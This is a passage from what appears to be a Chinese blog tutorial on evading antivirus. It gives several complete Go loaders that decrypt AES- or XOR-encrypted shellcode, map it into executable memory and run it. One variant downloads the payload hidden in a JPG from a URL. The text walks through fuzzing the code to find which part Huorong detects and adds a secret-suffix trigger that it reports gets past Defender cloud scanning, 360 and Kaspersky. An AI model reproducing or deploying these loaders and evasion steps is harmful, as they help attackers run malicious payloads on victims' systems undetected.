length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func CError(err error) {
if err != nil {
fmt.Println(err)
return
}
return

}
func main() {
//abcdekaWDCasCAWQ
var enc_key1 = "zizwsxedc"
var enc_key2 = "1234567"
var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "asdsadsadsad"} // 第三个里面放加密过的shellcode
sc, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
Run([]byte(sc))

}

loader2.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)

var iv = "0000000000000000"

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func CError(err error) {
if err != nil {
fmt.Println(err)
return
}
return
}

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 90
KEY_2 = 91
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
var enc_key1 = "zizwsxedc"
var enc_key2 = "1234567"
var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode
shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)

}

这两个都是Go语言实现的加载aes加密shellcode的 loader,区别在于,第一个loader调用了Windows VirtualProtec api,第二个没有,而第一种,直接编译后会被火绒杀掉,第二种可正常免杀。

loader1.go

img

loader2.go

img

0x05 Fuzz Loader源码

如何Fuzz 出loader被查杀的点,在写免杀时尤为重要,因为你不知道问题出在哪里,就没办法解决问题。在fuzz时,要注意我们的木马是静态被杀还是运行时被杀,这有助于我们更快的锁定查杀点。下面讲一下如何通过loader源码定位杀软查杀的点:

静态被杀

举下面这一个分离免杀 loader的例子:

loader.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package main

import (
"encoding/base64"
"io/ioutil"
"log"
"net/http"
"os"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 58
KEY_2 = 69
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
// imageURL := "http://127.0.0.1:8000/1.jpg"
imageURL := os.Args[1]
resp, err := http.Get(imageURL)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString := string(b[idx+2:])
decodeBytes, err := base64.StdEncoding.DecodeString(encodeString)
if err != nil {
log.Fatalln(err)
}
var shellcode []byte
for i := 0; i < len(decodeBytes); i++ {
shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)
}
//fmt.Println(shellcode)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

将shellcode通过两次异或,然后再base64加密,将加密过后的shellcode,追加到jpg图片后面,通过loader去加载这个图片里的shellcode,从而上线。

编译后,静态被火绒杀掉:
img

fuzz源代码:

当时怀疑是这里,通过读取到参数(图片路径),直接从图片里接收shellcode去加载,

img

img

注释掉这部分:

img

编译执行,继续报毒:

img

继续fuzz,将解密这行注释掉:

img

杀软不在报毒

img

目标缩小到

1
shellcode = append(shellcode, decodeBytes[i]^KEY_1^KEY_2)

因为这只是一个加载器,图片以参数形式加载,而且加载器被静态杀掉,所以与shellcode无关,那问题就只可能出在异或上了

将异或改为加:

1
shellcode = append(shellcode, decodeBytes[i]+KEY_1+KEY_2)

img

这里就锁定了火绒查杀的点:查杀异或,只要换一种加密方式就好了。

如aes:

loader.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else if strings.Contains(arg1, "=====18jokriwow0") {
encodeString = arg1
} else {
fmt.Println("a")
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"

sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

动态被杀

在写loader时,遇到这样一种情况,defender、360落地不杀,defender云查杀扫描后被杀:

当时loader是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else {
encodeString = arg1
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"

sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

loader有两种上线方式,首先判断参数中是否有”http”,如果有就去请求链接,否则直接解密并加载shellcode。

想到落地不被杀,云查杀之后被杀,怀疑被跑沙箱,提取了第二种上线方式的动作:

于是修改loader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))

blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}

func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else if strings.Contains(arg1, "=====18jokriwow0") {
encodeString = arg1
} else {
fmt.Println("a")
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"

sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

在生成加密的shellcode时,会在后缀随机添加一段字符串,只有匹配到该字符串,才运行第二种上线方式,若两者(既不含有”http”又不含有特殊字符)都不成立,则打印a(fmt.Println(“a”))。顺利过defender、360、卡巴等。。。

好了,今天的分享就到这里,有问题的话评论区见。